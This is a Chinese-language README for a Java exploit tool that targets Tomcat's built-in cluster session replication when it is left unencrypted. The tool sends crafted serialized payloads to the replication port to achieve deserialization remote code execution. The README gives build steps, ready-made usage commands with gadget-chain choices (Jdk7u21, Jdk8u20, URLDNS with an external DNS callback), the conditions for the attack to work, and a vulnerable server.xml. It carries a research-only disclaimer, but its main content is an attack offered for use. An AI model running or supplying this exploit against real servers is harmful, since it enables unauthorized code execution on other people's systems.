工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责
tomcat cluster sync-session 利用exp
这是一个tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。
使用
先编译出jar包:
mvn clean compile assembly:assembly
生成jar包存在于target目录下
使用,例:
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
条件
- tomcat启用了session同步,没有配置EncryptInterceptor
- jdk版本低于jdk8u20、jdk7u21(不知道有没有错)
- 同步端点可访问(一般是内网)
tomcat-session同步配置
(conf/server.xml):
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>